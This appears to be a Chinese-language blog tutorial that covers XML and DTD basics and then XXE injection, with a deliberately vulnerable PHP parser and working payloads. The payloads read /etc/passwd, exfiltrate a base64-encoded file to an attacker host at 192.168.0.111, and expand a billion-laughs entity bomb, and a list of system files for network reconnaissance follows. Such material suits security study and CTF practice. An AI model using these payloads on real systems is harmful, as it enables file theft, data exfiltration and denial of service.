LOADING...

dadada~

loading

XXE-XML外部实体注入攻击


XML

xml基础语法

  • XML 指可扩展标记语言(eXtensible Markup Language),是独立于软件和硬件的信息传输工具

  • XML 标签没有被预定义,需要自行定义标签,并且允许自定义文件结构

  • XML 文档仅仅是包装在 XML 标签中的纯粹的信息,需要编写软件或者程序,才能传送、接收和显示出这个文档

  • XML 文档第一行以 XML 声明开始(可选),定义 XML 的版本(1.0)和所使用的编码,用来表述文档的一些信息:

    <?xml version="1.0" encoding="UTF-8"?>
    
  • XML 文档必须包含根元素,是所有其他元素的父元素,所有的元素都可以有子元素,形成了一种树结构:

    <?xml version="1.0" encoding="UTF-8"?>
    <note>  <!--根元素-->
    <to>me</to>   <!--子元素-->
    <from>you</from>
    <heading>Hello!</heading>
    <body>Hao ye!</body>
    </note>
    
  • 所有的 XML 元素都必须有一个关闭标签,标签大小写敏感且必须正确嵌套

  • XML 元素也可拥有属性,XML 中,属性值必须加引号:

    <note date="12/11/2007">Happy day</note>
    
  • 在 XML 中,如果把字符<放在 XML 元素中,会发生错误,因为解析器会把它当作新元素的开始,可以使用实体引用来代替<字符

    实体引用 字符
    &lt; <
    &gt; >
    &amp; &
    &apos;
    &quot;
  • 在 XML 中,文档中的空格不会被删减,使用LF做为换行

DTD

  • DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块,可以被成行地声明于 XML 文档中,也可以作为一个外部引用

  • 内部的 DOCTYPE 声明:

    • DTD 通过下面的语法包装在一个 DOCTYPE 声明中:

      <!DOCTYPE 根元素 [元素声明]>
      
    • 带有 DTD 的 XML 文档实例:

      <?xml version="1.0"?>
      <!DOCTYPE note [   <!--定义此文档是 note 类型的文档-->
        <!ELEMENT note (to,from,heading,body)>   <!--定义 note 元素包含四个元素:"to、from、heading、body"-->
        <!ELEMENT to      (#PCDATA)>   <!--定义 to 元素为 "#PCDATA" 类型-->
        <!ELEMENT from    (#PCDATA)>
        <!ELEMENT heading (#PCDATA)>
        <!ELEMENT body    (#PCDATA)>
      ]>
      <note>
        <to>George</to>
        <from>John</from>
        <heading>Reminder</heading>
        <body>Don't forget the meeting!</body>
      </note>
      
  • 外部文档声明:

    • DTD 位于 XML 源文件的外部,通过下面的语法被封装在一个 DOCTYPE 定义中:

      <!DOCTYPE 根元素 SYSTEM "文件名">
      
    • 这个 XML 文档和上面的相同,但是拥有一个外部的 DTD:

      <?xml version="1.0"?>
      <!DOCTYPE note SYSTEM "note.dtd">
      <note>
      <to>George</to>
      <from>John</from>
      <heading>Reminder</heading>
      <body>Don't forget the meeting!</body>
      </note> 
      
    • 这是包含 DTD 的note.dtd文件:

      <!ELEMENT note (to,from,heading,body)>
      <!ELEMENT to (#PCDATA)>
      <!ELEMENT from (#PCDATA)>
      <!ELEMENT heading (#PCDATA)>
      <!ELEMENT body (#PCDATA)>
      
  • XML 文档构建模块,所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:

    • 元素:元素是 XML 以及 HTML 文档的主要构建模块
    • 属性:属性可提供有关元素的额外信息
    • 实体:实体是用来定义普通文本的变量
    • PCDATA:是会被解析器解析的文本,这些文本将被解析器检查实体以及标记
    • CDATA:CDATA 是不会被解析器解析的文本
  • 在 DTD 中,XML 元素通过元素声明来进行声明:

    <!ELEMENT 元素名称 类别(元素内容)>
    
    • 空元素通过类别关键词EMPTY进行声明

    • 只有PCDATA的元素通过圆括号中的#PCDATA进行声明

    • 通过类别关键词 ANY 声明的元素,可包含任何可解析数据的组合

    • 声明只出现一次的元素:<!ELEMENT 元素名称 (子元素名称)>

    • 声明最少出现一次的元素:<!ELEMENT 元素名称 (子元素名称+)>

    • 声明出现零次或多次的元素:<!ELEMENT 元素名称 (子元素名称*)>

    • 声明出现零次或一次的元素:<!ELEMENT 元素名称 (子元素名称?)>

    • 声明“非…/既…”类型的内容:<!ELEMENT note (to,from,header,(message|body))>

DTD实体

  • DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用,DTD的实体类型一般分为:内部实体和外部实体,实体细分又分为一般实体和参数实体

  • 一般实体——定义:<!ENTITY 实体名称 "实体内容">;调用:&实体名称;

  • 参数实体——定义:<!ENTITY % 实体名 "实体内容">;调用:%实体名称;

  • 内部实体——格式:<!ENTITY 实体名称 "实体的值">;举例:

    <?xml version="1.0" encoding="UTF-8"?> 
    <!DOCTYPE test[
        <!ENTITY article "XXE">
        <!ENTITY author "hoylindo">
    ]>
    <test><article>&article;</article><author>&author;</author></test>
    
  • 外部实体——格式:<!ENTITY 实体名称 SYSTEM "URI/URL"><!ENTITY 实体名称 PUBLIC "public_ID" "URI">;举例:

    <?xml version = "1.0" encoding = "utf-8"?>
    <!DOCTYPE test [
        <!ENTITY file SYSTEM "file:///etc/passwd">
    ]>
    <test>&file;</test>
    
  • 外部实体+参数实体:

    <?xml version="1.0"?>
    <!DOCTYPE test [
      <!ENTITY % file SYSTEM "file:///etc/passwd">
      %file;
    ]>
    
  • 外部实体同时还支持http等协议,整个表:

    libxml2 php Java .NET
    file
    http
    ftp
    file
    http
    ftp
    php
    compress.zilb
    compress.bzip2
    data
    glob
    phar
    http
    https
    ftp
    file
    jar
    netdoc
    mailto
    gopher *
    http
    httos
    ftp
    file

XXE

xxe是什么

  • XXE:(XML External Entity attack),XML外部实体注入攻击,有XXE漏洞的标志性函数为simplexml_load_string()
  • 漏洞成因:XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件
  • 漏洞危害:造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害

xxe的利用

读取任意文件-有回显

  • 测试代码:

    <?php
        $xmlfile = file_get_contents('php://input');
        $dom = new DOMDocument();  //初始化XML解析器
        $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);  //加载客户端输入的XML内容
        $xml = simplexml_import_dom($dom);   //获取XML文档节点,如果成功则返回SimpleXMLElement对象,如果失败则返回FALSE
        $xxe = $xml->xxe;   //获取SimpleXMLElement对象中的节点XXE
        $str = "$xxe \n";
        echo $str; //输出XXE内容
    
  • post上传内容:

    <?xml version="1.0" encoding="utf-8"?>  <!-- XML声明 --> 
    <!DOCTYPE xml [   <!-- 定义xml元素 -->
            <!ENTITY haoye SYSTEM "file:///c:/windows/system.ini">   <!-- 定义一般实体quan9i -->
    ]> 
    <xml>
    <xxe>&haoye;</xxe> 
    </xml>
    
  • 放包后可以看到读取的文件内容

读取任意文件-无回显

  • 测试代码:

    <?php
        $xmlfile = file_get_contents('php://input');
        $dom = new DOMDocument();  //初始化XML解析器
        $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);  //加载客户端输入的XML内容
        $xml = simplexml_import_dom($dom);   //获取XML文档节点,如果成功则返回SimpleXMLElement对象,如果失败则返回FALSE
        $xxe = $xml->xxe;   //获取SimpleXMLElement对象中的节点XXE
        $str = "$xxe \n";
        //echo $str; //输出XXE内容
    
  • 构造payload如下:

    <!DOCTYPE convert [ 
    <!ENTITY % remote SYSTEM "http://192.168.0.111/1.xml">
    %remote;%payload;%send;
    ]>
    
  • 攻击机http://192.168.0.1111.xml的内容为

    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/flag.txt">
    <!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://192.168.0.111/?content=%file;'>">
    
  • 调用remote,包含1.xml

  • 调用payload,包含file参数实体,读取文件内容(此时send中就是文件内容了)

  • 调用send,(将文件内容取出)

DOS攻击

  • 通过XML外部实体注入,攻击者可以发送任意的HTTP请求,因为解析器会解析文档中的所有实体,所以如果实体声明层层嵌套的话,在一定数量上可以对服务器造成DoS

  • 常见的恶意代码为:

    <?xml version="1.0"?>
    <!DOCTYPE lolz [
      <!ENTITY lol "dos">
      <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
      <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
      <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
      <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
      <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
      <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
      <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
      <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>
    <lolz>&lol9;</lolz>
    
  • 调用lol9实体参数的时候,会调用10个lol8实体参数,而每个lol8实体参数又包含十个lol7参数,此时已经调用了10^2个参数实体,往下会更加的多,文件经过解析后会耗用大量内存

探测内网

  • 敏感配置文件:/etc/hosts储存域名解析的缓存,/etc/passwd用户密码,/proc/net/arp每个网络接口的arp表中dev包

  • 存活的端口回显为HTTP request failed!,不存活的端口回显位failed to open stream

  • 内网探测常用:

    /etc/hosts
    /proc/net/arp
    /proc/net/tcp
    /proc/net/udp
    /proc/net/dev
    /proc/net/fib_trie
    

参考链接:

http://tttang.com/archive/1716/

BUUNCTF2019]True XML cookbook_H3018-R的博客-CSDN博客

XXE(XML External Entity attack)XML外部实体注入攻击 - FreeBuf网络安全行业门户